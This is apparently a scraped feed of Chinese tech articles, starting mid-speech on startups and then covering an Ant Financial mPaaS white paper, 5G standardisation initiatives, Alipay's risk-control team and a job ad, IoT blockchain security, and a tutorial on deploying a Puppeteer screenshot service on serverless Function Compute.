        所以我们认为困难的另外一面是机会,包括现在的资本寒冬,背面也是机会,当别人也不好融资的时候,也许是自己冒头的机会。机会的反面是陷阱。看到过去几年千团大战,还是单车颜色不够用了,都是毁灭大财富,很多投资人钱浪费掉了,很多创业者的精力也浪费掉了。

        所以,一个创业者应该深度思考,做时间的朋友。我觉得对未来想的越深刻,对未来越有信心,对当下越有耐心,追求长期利益,拒绝短期诱惑。只要你在创业这条赛道上不站错队、不错过队、不掉队,就有机会。我们很多创业者经历过很多的失败,没有人可以顺风顺水成功。比如说趣店、小牛电动,前面经历了很多轮的失败,最后迎来了自己成功的那一刻。

        如果你看过去的寒冬期,每一次寒冬期都是诞生大公司的机会,我们觉得这两三年也是诞生接下来十年里面的引领风云企业的机会。所以梅花坚定地扶持与服务年轻的聪明人,帮助他们成为伟大的企业家。

        丘吉尔说,永远不要浪费一场好危机,现在的危机正是年轻人机遇的起点,希望大家可以利用好这场危机。谢谢大家!

        转自创头条,原文链接为:http://www.ctoutiao.com/2563012.html

        声明:以上内容来自于网络,如有侵权,请联系删除

        ]]>
        蚂蚁金服联合IDC发布《中国金融级移动应用开发平台白皮书》 金融机构加速执行移动优先战略 Fri, 02 May 2025 09:39:04 +0800 ad5d75088d8f43739ab98bd0ebc34a47

        移动端成金融机构零售转型的重要载体,战略地位日益凸显
        《白皮书》认为,随着IT领域的新兴技术⾰命,企业数字化转型浪潮正在不断重塑各⾏各业的运⾏格局和发展风貌。以金融业为例,利率市场化、金融脱媒以及互联⽹跨界竞争等多重因素动摇了传统金融机构的盈利基础,使中国金融市场正在自内而外地发生巨大变革。

        在此背景下,金融机构纷纷开启零售转型战略,以金融科技创新为抓手,为企业发展赋能。移动端作为金融机构重要的对外渠道之一,已成为零售转型的重要载体。利用优质的移动端设计提供精细化服务,吸引更多的个人客户长期驻留,是金融机构应对市场挑战、实现长期发展的必然选择,移动优先战略成为金融机构面向未来的发展共识。

        《白皮书》显示,在⾦融科技的推动下,⼀⼤批传统线下业务通过技术创新转移⾄线上运营,⽤⼾不再受到银⾏服务时间和空间的限制,随时随地的享受移动端带来的便捷性,⽤⼾体验获得了⾰命性提升;保险公司⼤⼒拓展移动渠道,通过保险移动展业,以更加便捷⾼效地⽅式实现全业务触点的销售及管理,降低获客成本;证券企业则重点利⽤新技术提升信息和数据处理的时效性,满⾜客⼾对移动端⾏情资讯的传递和承载需求。

        一站式移动开发平台mPaaS,助力金融机构移动优先战略落地
        《白皮书》指出,金融业务的移动化、场景化、智能化趋势,推动金融移动应用需求的爆发性增长,对金融机构围绕移动端的业务开发和保障能力提出极大挑战。金融机构迫切需要引入新一代移动设计开发思想,利用先进的移动应用开发平台实现在开发、运维、管理以及快速迭代方面的一系列变革。

        蚂蚁金服移动金融技术总监祁晓龙认为,金融级移动应用开发平台应具备统一的开发框架,拥有强大的技术整合和集成能力,有助于打造基于移动中台的能力输出,满足金融行业对移动开发平台技术先进性、安全合规性和高稳定性、高可用性等一系列特殊要求。

        基于对金融市场的洞察和全新用户行为的理解,蚂蚁金服移动开发平台mPaaS借助统一的客户端开发框架和蚂蚁特有的金融级移动中台能力,有效地加快研发效率,增加对APP动态管控及千人千面的数字化运营能力。同时基于“后台连接服务”构建与服务端的数据、多媒体传输通道,确保全链路的稳定、安全和高效。
        f85afc744df04471a9bfdadb8bdc3a8e

        移动端创新技术方面,mPaaS提供智能推荐、语音识别、图像识别、生物识别、小程序等能力,改善产品体验,助力业务创新。

        安全合规方面,mPaaS提供IPv6、国密、容灾等特色行业能力,满足监管合规要求。同时辅以应用加固、安全键盘、IFAA生物认证及数据加密能力,充分保障数据在客户端本地、传输过程中的安全性。

        目前mPaaS已服务中国农业银行、广发银行,华夏银行,西安银行、国寿保险等众多B端客户,为国内国际用户都带来优质的移动端体验。

        蚂蚁金服全栈式金融科技体系,助力金融业全域数字化转型
        科技是面向未来的核心驱动力。基于对未来的洞察和蚂蚁金融科技开放的实践深耕,蚂蚁金服在金融领域构建了一个自底向上的全栈式金融科技体系,从具有金融级别支撑能力的分布式计算平台等底层技术,到以人工智能、区块链等为代表的应用技术,再到智能风控、生物核身等金融级专有技术,以及一站式的移动开发平台mPaaS,形成完整的技术堆栈,助力金融机构快速打造新一代超级移动金融平台与大数据智能运营体系,推动金融机构转型升级。

        据悉,包括蚂蚁金服移动开发平台mPaaS、分布式中间件SOFAStack、分布式关系数据库OceanBase等在内的产品和解决方案正通过阿里云新金融统一对外输出,服务各种类型的金融机构。而在未来,还会有越来越多的蚂蚁金服技术产品通过阿里云新金融对外输出。在第二十七届中国国际金融展上,这些世界级的解决方案进行了亮相,并吸引了诸多关注。

        ]]>
        全球5G倡议 | 《5G移动无线通信技术》之三 Fri, 02 May 2025 09:39:04 +0800 第二章:如何实现海量数据的处理?

        全球5G倡议

        全球范围内有很多 5G 的论坛和研究项目组。2011 年欧洲第一个开展了 5G 研究 [23], 不久之后中国、韩国、日本开始了各自的研究活动。这些活动和时间表归纳在图 1.6 中。
        image.png

        3.1 METIS 和 5G-PPP

        METIS [24] 是欧盟第一个完整的 5G 项目,并对全球的 5G 发展产生了深远的影响。 METIS 属于欧洲框架 7 项目(FP7),项目准备始于 2011 年 4 月,正式启动于 2012 年 11 月 1 日,中止于 2015 年 4 月 30 日。
        METIS 项目的原始诉求是为全球的 5G 研究建立参照体系,包括确定 5G 的应用 场景、测试用例和重要性能指标。目前这些成果被商界和学术界广泛引用。其主要成 果是筛选了 5G 的主要技术元素。欧洲通过该项目在 5G 的研发方面获得了明显的领先 地位。
        5G 公私合作伙伴(5G-PPP) [25] 是欧盟框架 73 项目中 5G 后续项目。欧洲的 ICT 行业和欧洲委员会(EC)于 2013 年 12 月签署了商业协议,组建 5G 基础设施公私合作项 目(5G-PPP)。该项目主要是技术研究,其 2014–2020 年预算为 14 亿欧元。欧洲委员会 和 ICT 产业各出资一半(7 亿欧元)。5G-PPP 在设备制造企业、电信运营商、服务提供商和中小企业以及研究人员之间架起了桥梁。
        根据与 METIS 签署的谅解备忘录,5G-PPP 项目内 METIS-II 于 2015 年 7 月启 动。METIS-II 致力于开发设计 5G 无线接入网络,其目标是进行足够的细节研究,支撑 3GPP R14 版本的标准化工作。METIS-II 将提出技术建议,并有效地集成当前开发的 5G 技术元素以及与原有 LTE-A 技术演进的集成。为了实现这一目标,METIS-II 非常重视 和 5G-PPP 的其他项目,以及全球其他 5G 项目的合作和讨论。讨论的范围包括 5G 应用 场景和需求、重要 5G 技术元素、频谱规划和无线网络性能等。
        5G-PPP 项目的目标是确保欧洲在特定领域的领先,并在这些领域开发潜在的 新的市场,例如智慧城市、电子医疗、智能交通、教育或者娱乐和媒体 [25]。5G-PPP 的终极目标是设计第五代通信网络和服务。5G-PPP 的第一个子项目开始于 2015 年 7 月。

        3.2 中国:5G 推进组

        IMT-2020(5G)推进组于 2013 年 2 月由中国工业和信息化部、国家发展和改革委 员会、科学技术部联合推动成立,组织国内的企业和高校等成员开展 5G 的研发和产业 推进,是聚合移动通信领域产学研用力量、推动第五代移动通信技术研究、开展国际交 流与合作的基础工作平台。

        3.3 韩国:5G 论坛

        韩国的 5G 论坛 [28] 也是公私合作项目,成立于 2013 年 5 月。该项目的主要目 标是发展和提出国家的 5G 战略,并对技术创新作出战略规划。成员包括 ETRI,SK Telecom,KT,LG- 爱立信和三星公司。这个论坛也对中小企业开放。其目标之一是确 保 2018 年平昌冬奥会部分 5G 实验网预商用。

        3.4 日本:ARIB 2020 和未来专项

        ARIB 2020 和未来专项成立于 2013 年 9 月,目的是研究面向 2020 和未来的陆地移 动通信技术,也是成立于 2006 年的先进无线通信研究委员会(ADWICS)的一个子委 员会。这个组织的目标是研究系统概念、基本功能和移动通信的分布式架构。预期输出 包括白皮书,向 ITU 及其他 5G 组织提交的文件。2014 年,该项目发布了第一个白皮书 描述了 5G 的愿景,“面向 2020 和未来的移动通信系统”[29]。

        3.5 其他 5G 倡议

        其他的 5G 倡议相对于上述项目在规模和影响力方面较小。其中几个是北美 4G(4G Americas)项目、Surrey 大学创新中心、纽约大学无线研究中心。

        3.6 物联网的活动

        全球范围内开展了大量的物联网倡议,覆盖了物联网的诸多方面。其中工业物联网 共同体(IIC) [30] 和工业 4.0[31] 是和 5G 最紧密相关的项目。IIC 成立于 2014 年,把组织 机构和必要的技术结合在一起,加速工业互联网的成长。主要目标是 [30]:

        • 为现实应用创建新的工业用例和测试床;
        • 影响全球工业互联网系统的标准化进程。

        工业 4.0 是德国 2013 年发起的倡议,目的在于保持德国工业制造的竞争力和保持全 球市场领导力,致力于在产品中集成物联网和服务,特别是整个生产流程中创建网络管 理,实现智能工厂环境 [31]。

        3.7标准化活动

        下面简要介绍 5G 在 ITU、3GPP 和 IEEE 的标准化工作。

        3.8 ITU-R

        2012 年 ITU 无线通信部分(ITU-R)在 5D 工作组(WP5D)的领导下启动了“面 向 2020 和未来 IMT”的项目,提出了 5G 移动通信空中接口的要求。WP5D 制定了工作 计划、时间表、流程和交付内容。需要强调的是 WP5D 暂时使用“IMT-2020”这一术语 代表5G。根据时间表的要求,需要在2020年完成“IMT-2020技术规范”。至2015年9月, 已经完成下列三个报告。

        • 未来陆地 IMT 系统的技术趋势 [32]:这个报告介绍了 2015—2020 年陆地 IMT 系统的技术趋势,包括一系列可能被用于未来系统设计的技术。
        • 超越 2020 的 IMT 建议和愿景 [19]:该报告描述了 2020 年和未来的长期愿景,并 对未来 IMT 的开发提出了框架建议和总体目标。
        • 高于 6 GHz 的 IMT 可行性分析 [33]:这份报告提供了 IMT 在高于 6 GHz 频段部 署的可行性。该报告被 WRC 2015 参照,将新增的 400 MHz 频谱分配给IMT使用,详见第 12 章。

        3.9 3GPP

        3GPP 已经确认了 5G 标准化时间表,现阶段计划延续到 2020 年 [34]。5G 无线网络 的主要需求的研究项目和范围于 2015 年 12 月开始,2016 年 3 月开始相应的 5G 新的无 线接入标准。此外, 3GPP在LTE 9[35] 和GSM 36 引入了海量机器类通信的有关需求, 即增强覆盖、低功耗和低成本终端。在 LTE 系统中,机器类通信被称作 LTE-M 和 NBIoT,在 GSM 系统中被称为增强覆盖的 GSM 物联网(EC-GSM-IoT)。

        3.10 IEEE

        在国际电气和电子工程师协会(IEEE)中,主要负责局域网和城域网的是 IEEE 802 标准委员会。特别是负责无线个人区域网络的 IEEE 802.15 项目(WPAN) [33] 和无 线局域网(WLAN)的 IEEE 802.11 项目 [39]。IEEE 802.11 技术在最初设计时使用频段 在 2.4 GHz。后来 IEEE 802.11 开发了吉比特标准,IEEE 802.11ac 可以部署在更高的频 段,例如 5 GHz 频段,以及 IEEE 802.11ad 可以部署在 60 GHz 毫米波频段。这些系统的 商用部署始于 2013 年,可以预见,到 2019 年的今后几年采用 6 GHz 以下(例如 IEEE 802.11ax)和毫米波频段(例如 IEEE 802.11ay)的系统将会实现高达若干 Gbit/s 的速率。 IEEE 很有可能会基于其高速率技术提交 IMT-2020 的技术方案。IEEE 802.11p 是针对车 辆应用的技术,预计 2017 年之后会获得在车联网 V2V 通信领域的广泛应用。在物联网领域IEEE也表现活跃。IEEE 802.11ah 支持在 1GHz 以下频段部署覆盖增强的 Wi-Fi。 IEEE 802.15.4 标准在低速个人通信网络(LR-WPAN)较为领先。这一标准被 Zigbee 联盟进一步拓展为专用网格连接技术,并被国际自动化协会(ISA)采纳,用于协同和同 步操作,即 ISA100.11a 规范。预计 5G 系统会联合使用由 IEEE 制定的空中接口。这些 接口和 5G 之间的接口的设计需要十分仔细,包括身份管理、移动性、安全性和业务。

        3.11 本书的内容介绍

        5G 构成的主要目模块如图 1.7所示:无线接入、固定和原有无线接入技术(例如 LTE)、核心网、云计算、数据分析和安全性。本书涵盖的内容在图 1.7中标记为灰色, 5G 无线接入和用例在第 2 章介绍。包括 LTE 的原有系统的作用在不同的章节有简要介 绍。核心网和云计算(包括网络功能虚拟化)的简介在第 3 章介绍。数据分析和安全性超出了本书的范围。
        本书内容组织如下。

        • 第 2 章总结了目前定义的 5G 用例和需求,以及 5G 的系统概念。
        • 第 3 章给出了 5G 架构需要考虑的主要问题。
        • 第 4 章讲述 5G 的重要用例之一,即机器类通信。
        • 第 5 章介绍设备和设备通信。
        • 第 6 章介绍有可能分配的从 10 GHz 到 100 GHz 大量频谱的毫米波技术,这些频 谱可以用于无线回传和接入。
        • 第 7 章简要介绍 5G 最可能采用的无线接入技术。
        • 第 8 章重点介绍 5G 的重点技术之一,即大规模 MIMO。
        • 第 9 章讨论多点协同发送,特别是 5G 如何更好地实现联合发射。
        • 第 10 章聚焦中继器和无线网络编码技术。
        • 第 11 章介绍 5G 干扰和移动管理相关的技术。
        • 第11章讨论5G频谱,特别是预期的5G频谱组成和需求,以及预期的频谱接入模式。
        • 第 13 章介绍 5G 信道模型的主要挑战和新的信道模型。
        • 第 14 章提供了 5G 仿真的指导建议,以此来统一假设条件、方法和参考用例。

        image.png

        ]]>
        揭秘:你的支付宝由谁来守护? Fri, 02 May 2025 09:39:04 +0800 随着移动支付的普及,现在的人带着一个手机就可以走遍天下,但如果手机丢了怎么办,他放在支付宝里的钱又会怎样呢?

        在知乎上,也有人问了类似的问题:

        1.jpg

        对于这个很多人关心的问题,支付宝官方也做了回复,总结就是:

        首先支付宝承诺“你敢付我敢赔”,一旦发生盗刷会有保险公司赔付;其次,支付宝的风控系统,可以将盗刷控制在很小范围内。

        事实上,支付宝曾经演示过比单纯的丢手机更严重的情景,在今年年初的一场节目上做过这样的演示:黑客获得了一个用户的完整信息,包括手机、身份证、银行卡等,然后试图用支付宝将银行卡里的钱取出。

        使用这些信息,黑客成功进入了支付宝并且修改了登录密码,但在最后交易的关头,还是被支付宝成功识别为恶意交易并中断交易。

        近几年,网络安全事件层出不穷,黑产行业愈发猖獗,对人们的信息安全和财产造成严重挑战。支付宝作为受人信赖的钱包和支付工具,是黑产们的重点目标,但与此同时,支付宝给人的印象很安全,就是因为支付宝背后有一个风控系统在守护着你的每一笔交易。

        2005年,支付宝开始自主研发智能实时风控系统,经过不断的优化,从2017年开始升级到第五代(AlphaRisk)系统。这套系统集风险分析、预警、控制为一体,能通过数据分析、数据挖掘进行机器学习,自动更新完善风险监控策略,日均拦截黑产攻击近十万次,资金损失率小于千万分之一。

        那么,这个风控系统为什么这么厉害呢?这就不得不提它背后的团队了。

        这个团队就是支付宝安全团队,风险决策就是该团队中负责风险防控的模型团队,团队涉及的风险类型包括,盗用、欺诈、作弊、违规违禁等等。在日常的工作中,团队成员需要从每天百亿级别的交易数据中,抽丝剥茧,发现不法分子的蛛丝马迹,并为支付宝账户和商户提供极致的安全和体验,使他们免受盗用、欺诈、资金风险的侵害。

        团队的成员来自五湖四海,人员的组成也是五花八门。由于研究的是利用最前沿的大数据和机器学习技术,不少人来自国内外的知名高校和研究机构,有学习统计、计算机的科班出身,也有学习数学、物理学半道出家的人;团队里既包含工业界的资深专家、学术界的助理教授,也有刚出校门的的新手小白。他们希望,每个人都能在这里找到自己的位置,找到能够为之奉献的终身事业和研究方向。

        丰富多样的人员构成使决策科学有足够的能力在不同的领域进行深度拓展。

        在人工智能的研究和利用方面,他们涉及的算法包含了知识图谱、时序分析、无监学习、图推理、模型可解释性、NLP、CV、AutoML、运筹优化、强化学习、联邦学习、在线学习等等。

        利用这些算法和训练出的模型,他们可以做到对每条交易的风险程度进行评估,并给出对应的解释,然后还可以推荐合适的解决方案;利用图像检测和NLP算法,他们可以对黑产进行主动攻击、挖掘黑产团伙的信息,将犯罪行为暴露并联合执法部分进行打击。

        今年还不到30岁的易灿就是团队中的一员,前不久,他刚和团队的几个小伙伴一起,利用业余时间在KDD Cup 2019 Regular ML Track全球竞赛中获得冠军,这项比赛被誉为数据挖掘界的奥林匹克。

        2.jpg

        KDD CUP大赛是大数据顶级峰会KDD大会设立的线上比赛,每年的5月到8月期间开启,以组队形式,只要成功报名,任何人都可以参加,来自全球的高校、研究机构以及公司的数千只队伍在三个月时间内反复厮杀,只有最后总分最高者才能获胜。

        事实上,团队内部在算法竞赛方面称得上是高手如云,他们在过去两年的蚂蚁金服数据挖掘内部赛中连续获得冠军。也更是在专业赛道比如CCL2019中国法研杯比赛,获得了总分第一。

        这样的一群人,能打造出这么厉害的风控系统也就不足为奇了。

        支付宝每一个做安全的同学的目标就是守护人们的支付安全,他们就像李白笔下的侠客一样,在黑暗中与黑产厮杀,事了拂衣去,深藏身与名。对他们来说,安全风控不仅仅是一项工作,更是一份社会责任。

        最后,不得不提到的是团队的培养和学习机制,也真正体现了在做风控安全这件有情有义的事情的是怎样的一群有情有义的人。

        除了资深Kaggle GM不吝赐教、行业专家经常分享经验之外,新人从入职开始,每个人都有一个师兄或师姐一对一地传帮带;业务熟悉方面,他们准备了一系列课程,包括业务、产品、模型、案例分析等内容,可以帮助新人快速全面融入新的环境;在学习成长方面,团队内部有NLP/CV、联邦学习、无监督弱监督、图算法、强化学习、知识图谱等虚拟小组,每个人都可以根据自己的爱好报名参加,小组内定期分享学习讨论,这对于团队技术能力的广度和深度的提升都是有力的保障。

        目前,支付宝安全团队仍在招募新成员,感兴趣的同学可以查看下方的招聘信息,欢迎投递简历~

        支付宝安全团队招人啦!

        招聘岗位:
        算法专家/数据挖掘专家
        简历投递邮箱:
        weiqiang.wwq@antfin.com
        岗位描述:
        1.通过分析/挖掘数据,探索业务机会点并能通过多种AI机器学习算法,建立并持续优化各种风险行为预测模型;
        2.平衡体验的便捷和安全,通过优化理论和方法,设计并实施风险-收益最优化的决策。
        3.学习、总结、沉淀风控核心算法和能力,与团队一起打造风控算法架构。
        职位描述(算法专家P7-P9):
        1.计算机、数学、统计、金融等相关专业的硕士或以上学历;
        2.三年以上数据挖掘或者机器学习相关工作经验;
        3.熟练掌握机器学习算法(或者对于最优化理论和方法有所研究和实践),熟练运用SQL、R、Python等工具;
        4.突出的分析问题和解决问题能力,自我驱动,并且具备较强的学习能力、创新应用能力及沟通协调能力;
        5.拥有分布式图计算,实时流计算(Spark/Storm)、海量数据处理(Hadoop/Hbase/Hive)经验者优先;有盗用欺诈作弊套现等风险识别工作经验者优先。

        更多支付宝安全团队的算法/产品/数据/安全/工程等职位,请浏览阿里巴巴招聘官网,搜索“蚂蚁金服 安全”

        ]]>
        阿里云Link Security为企业级区块链提供易用性安全解决方案 Fri, 02 May 2025 09:39:04 +0800

        _1


        *上图为Forrester在最新报告“A Pragmatic Road Map For Blockchain”中评估内容

        在Forrester的定义中,企业区块链平台有五个层次,基础架构,平台,应用,运营和安全性,每个层面都提供特定的业务价值。其中,安全作为企业至关重要的生命线,解决物联网数据上链前的可信问题成为了企业级区块链关注的核心问题之一。

        以易用性为中心:区块链IoT安全解决方案

        在IoT与分布式账本网络结合的应用场景中,IoT安全技术着力解决数据可信的问题,通过在IoT设备、应用、账号、网络与通信等多维度安全的基础上, 融合分析多源传感数据,为分布式网络中的数据消费方提供“物”的真实数字化描述。
        _2

        *上图为阿里云边端安全方案架构

        阿里云Link Security为IoT设备提供基于多种安全可信根的企业级区块链客户端可信服务,为区块链云下节点应用提供多维度的安全保障。Link Security提供三大核心安全能力:

        • 账号安全能力:密钥全生命周期管理和安全计算
          支持企业级区块链账号和密钥在IoT设备本地安全模块(Link TEE等)中的全生命周期管理以及安全计算(国密和其他区块链相关默认算法)。
        • 客户端设备安全能力:可信设备标识和认证,远程取证,漏洞检测与修复
          提供基于阿里云Link ID²的可信设备身份标识和认证服务,保障接入企业级区块链网络的IoT设备可信可识别。

        提供基于阿里云Link SOC的IoT设备全生命周期安全运营管理,实现威胁可感知,设备漏洞可检测与修复。

        • 客户端应用安全能力:可信应用环境
          针对区块链端上关键的数据采集/处理应用程序,提供安全运行环境以及远程可信应用管理的安全服务。

        阿里云Link Security安全方案与阿里云区块链服务(Baas)深度对接,帮助企业级区块链实现环境一键式部署,并基于“云-边-端”一体的多安全机制,提供多层级安全防护,致力于解决数据上区块链之前的可信问题,使能可信数据流动与价值最大化。

        了解更多阿里云Link Security安全方案,欢迎访问:https://iot.aliyun.com/products/bcw

        ]]>
        有了 serverless,前端也可以快速开发一个 Puppeteer 网页截图服务 Fri, 02 May 2025 09:39:04 +0800 更多云原生技术资讯可关注阿里巴巴云原生技术圈

        Puppeteer 是什么?

        puppeteer 官网的介绍如下:
        Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

        通俗描述就是:Puppeteer 可以将 Chrome 或者 Chromium 以无界面的方式运行(当然也可以运行在有界面的服务器上),然后可以通过代码控制浏览器的行为,即使是非界面的模式运行,Chrome 或 Chromium 也可以在内存中正确渲染网页的内容。
        那么 Puppeteer 能做什么呢?

        • 生成网页截图或者 PDF
        • 抓取 SPA(Single-Page Application) 进行服务器渲染(SSR)
        • 高级爬虫,可以爬取大量异步渲染内容的网页
        • 模拟键盘输入、表单自动提交、登录网页等,实现 UI 自动化测试
        • 捕获站点的时间线,以便追踪你的网站,帮助分析网站性能问题

        本文选择截图场景作为演示。

        废话不多说了,我们直接给大家介绍下如何用函数计算产品来快速部署一个 Puppeteer Web 应用。

        如何快速部署一个分布式 Puppeteer Web 应用?

        为了快速部署分布式 Puppeteer Web 应用,本文以函数计算服务为例来做展示。

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        有了函数计算服务,我们这里目标是搭建一个分布式应用,但做的事情其实很简单,那就是写好业务代码,部署到函数计算,仅此而已。

        使用函数计算后,我们的系统架构图如下:

        1.png

        效果演示

        可以直接通过以下链接查看效果:
        https://1911504709953557.cn-hangzhou.fc.aliyuncs.com/2016-08-15/proxy/puppeteer-test/html2png/?url=https://www.aliyun.com/product/fc
        PS:第一次请求可能会有几秒的冷启动时间,通过使用预留模式可以完全去除冷启动,这题超纲,下次再讲。

        搭建步骤步骤:

        整体流程如下图所示:

        2.png

        其中,需要我们操作的只有 Fun Init、Fun Install 以及 Fun Deploy 命令,每个的步骤内容都会由这三个命令自动完成。

        1. 工具安装

        安装 Fun 工具

        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        安装 Docker
        可以按照这里介绍的方法进行安装。

        2. 初始化项目:

        通过 Fun 工具,使用下面的命令可以快速初始化一个 Puppeteer Web 应用的脚手架:

        fun init -n puppeteer-test http-trigger-node-puppeteer

        其中 -n puppeteer-test  表示初始化项目的目录名称, http-trigger-node-puppeteer  表示要使用的模板名称,可以省略该名称,省略后,可以从终端提示的列表中自行选择需要的模板。
        执行完毕后,可以看到如下的目录结构:

        .
        ├── index.js
        ├── package.json
        └── template.yml

        相比较于传统的 puppeteer 应用,这里仅仅多了一个 template.yml 文件,用于描述函数计算的资源。
        而 index.js 就是我们的业务代码了,可以按照 Puppeteer 官方帮助文档的要求书写自己的业务代码,这里不再重复阐述,核心代码如下:

        const browser = await puppeteer.launch({
          headless: true,
          args: [
            '--no-sandbox',
            '--disable-setuid-sandbox',
          ]
        });
        const page = await browser.newPage();
        await page.emulateTimezone('Asia/Shanghai');
        await page.goto('https://www.baidu.com', {
          'waitUntil': 'networkidle2'
        });
        await page.screenshot({ path: '/tmp/example', fullPage: true, type: 'png' });
        await browser.close();

        package.json 内容如下:

        {
          ... ...
          "dependencies": {
            "puppeteer": "^2.0.0"
          },
          ... ...
        }

        可以看到,在 package.json 中声明了 puppeteer 的依赖。这个也是我们使用 node 开发时的标准做法,并无特别之处。

        3. 一键安装依赖

        puppeteer 的安装,即使是在传统的 linux 机器上,也不是那么的轻松。因为 puppeteer 本身依赖了非常多的系统库,要安装哪些系统库、如何安装这些系统库成了一个比较头痛的问题。

        好在函数计算命令行工具 Fun 已经集成了 Puppeteer 的解决方案,只要 package.json 中包含了 puppeteer 依赖,然后使用 fun install -d 即可一键安装所有系统依赖。

        fun install -d

        4. 本地运行、调试函数

        Puppeteer 的本地运行、调试方法与这里介绍的完全一致,我们就不再重复介绍。我们这里只演示下运行效果:

        4.gif

        5. 一键部署应用

        基本上所有的 FaaS 平台为了减小应用的冷启动,都会设置代码包的限制,函数计算也不例外。而 puppeteer 自身已经达到了 350M 左右,连同其系统依赖已经达到了 450M。如何将 450M 体积的函数部署到 FaaS 平台是一个比较头痛而且繁琐的问题。

        函数计算的命令行工具 Fun 现在原生支持了这种大依赖部署(3.1.1 版本仅支持 node runtime)。不需要任何额外操作,仅仅执行 fun deploy:

        $ fun deploy

        fun 会自动完成依赖的部署。而当检测到打包的依赖超过了平台的限制时,会进入到配置向导,帮助用户自动化地配置。

        我们这里推荐的路径是当提示是否由 Fun 自动帮助 NAS 管理是,输入 yes,然后提示提示是否使用 NasConfig: Auto 自动处理 NAS 时,也选择是,之后就不需要做其他的事情,等待函数部署成功即可。

        5.png

        如果有其他的需求,比如想使用自己已经存在的 NAS 服务,可以在提示使用 NasConfig: Auto 时,输入 no,这样就会进入到相应的流程。更详细的说明,请参考下面的 FAQ。

        FAQ

        在安装 puppeteer 时,Fun 都做了哪些事情?

        puppeteer 本身是一个 npm 包,它的安装是非常简单的,通过 npm install 即可。这里的问题在于,puppeteer 依赖了 chromium,而 chromium 又依赖一些系统库。所以 npm install 后,还会触发下载 chromium 的操作。这里用户经常遇到的问题,主要是:

        1. 由于 chromium 的体积比较大,所以经常遇到网络问题导致下载失败。
        2. npm 仅仅只下载 chromium,chromium 依赖的系统库并不会自动安装。用户还需要自行查找缺失的依赖进行安装。

        Fun 做的优化主要是:

        1. 通过检测网络环境,对于国内用户,会帮助配置淘宝 NPM 镜像实现加速下载的效果。
        2. 自动为用户安装 chromium 所缺失的依赖库。

        Fun 是如何把大依赖部署到函数计算的?不是有代码包大小的限制吗?

        基本上所有的 FaaS 为了优化函数冷启动,都会加入函数代码包大小的限制。函数计算也不例外。但是,Fun 通过内置 NAS(阿里云文件存储) 解决方案,可以一键帮用户创建、配置 NAS,并上传依赖到 NAS 上。而函数计算在运行时,可以自动从 NAS 读取到函数依赖。

        为了帮助用户自动化地完成这些操作,Fun 内置了一个向导(3.1.1 版本仅支持 node,后续会支持更多,欢迎 github issue 提需求),在检测到代码体积大小超过平台限制时,会提示是否由 Fun 将其改造成 NAS 的方案,整个向导的逻辑如下:

        1. 询问是否使用 Fun 来自动化的配置 NAS 管理依赖?(如果回答是,则进入向导,回答否,则继续发布流程)
        2. 检测用户的 yml 中是否已经配置了 NAS
        3. 如果已经配置,则提示用户选择已经配置的 NAS 存储函数依赖
        4. 如果没有配置,则提示用户是否使用NasConfig: Auto自动创建 NAS 配置
        5. 如果选择了是,则帮助用户自动配置 nas、vpc 资源。
        6. 如果选择了否,则列出用户当前 NAS 控制台上已经有的 NAS 资源,让用户选择
        7. 无论上面使用哪种方式,最终都会在 template.yml 生成 NAS 以及 VPC 相关的配置
        8. 根据语言检测,比如 node runtime,会将 node_modules 以及 .fun/root 目录映射到 nas 目录(通过 .nas.yml 实现)
        9. 自动执行 fun nas sync 帮用户把本地的依赖上传到 NAS 服务
        10. 自动执行 fun deploy,帮用户把代码上传到函数计算
        11. 提示帮助信息,对于 HTTP Trigger 的,提示函数的 Endpoint,直接打开浏览器访问即可看到效果

        是否可以指定 puppeteer 的版本?

        可以的,只需要修改 package.json 中的 puppeteer 的版本,重新安装即可。

        函数计算实例中的时区采用的 UTC,是否有办法改为北京时间?

        某些网页的显示效果是和时区挂钩的,时区不同,可能会导致显示的内容有差异。使用本文介绍的方法,可以非常容易的使用 puppeteer 的最新版本,而在 puppeteer 的最新版本 2.0 提供了一个新的 API page.emulateTimezone(timezoneId) , 可以非常容易的修改时区。

        如果 Puppeteer 后续版本更新后,依赖更多的系统依赖,本文介绍的方法还适用吗?

        Fun 内置了 .so 缺失检测机制,当在本地调试运行时,会智能地根据报错识别出缺失的依赖库,然后精准地给出安装命令,可以做到一键安装。

        如果添加了新的依赖,如何更新?

        如果添加了新的依赖,比如 node_modules 目录添加了新的依赖库,只需要重新执行 fun nas sync 进行同步即可。

        如果修改了代码,只需要使用 fun deploy 重新部署即可。由于大依赖和代码通过 NAS 进行了分离,依赖通常不需要频繁变化,所以调用的频率比较低,而 fun deploy 的由于没有了大依赖

        除了本文介绍的方法还有哪些方法可以一键安装 puppeteer?

        Fun 提供了非常多的依赖安装方式,除了本文介绍的将依赖直接声明在 package.json 中,然后通过 fun install -d 的方式安装外,还有很多其他方法,他们均有各自适用的场景:

        1. 命令式安装。比如 fun install -f functionName -p npm puppeteer。这种安装方式的好处是即使对 fun 不了解的用户也可以傻瓜式的使用。
        2. 声明式安装。这种安装方式的好处是提供了类 Dockerfile 的体验,Dockerfile 的大部分指令在这里都是可以直接使用的。通过这种方式声明的依赖,可以通过直接提交到版本仓库。他人拉取代码后,也可以一键安装所有依赖。
        3. 交互环境安装。这种安装方式的好处是提供了类似传统物理机的安装体验。在交互环境中,大部分 linux 命令都是可以使用的,而且可以不断试错。

        总结

        本文介绍了一种比较简单易行地从零开始搭建分布式 Puppeteer Web 服务的方法。利用该方法,可以做到不需要关心如何安装依赖、也不需要关系如何上传依赖,顺滑地完成部署。

        部署完成后,即可享受函数计算带来的优势,即:

        • 无需采购和管理服务器等基础设施,只需专注业务逻辑的开发,可以大幅缩短项目交付时间和人力成本
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 免运维,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力,性能优异
        • 成本极具竞争力

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
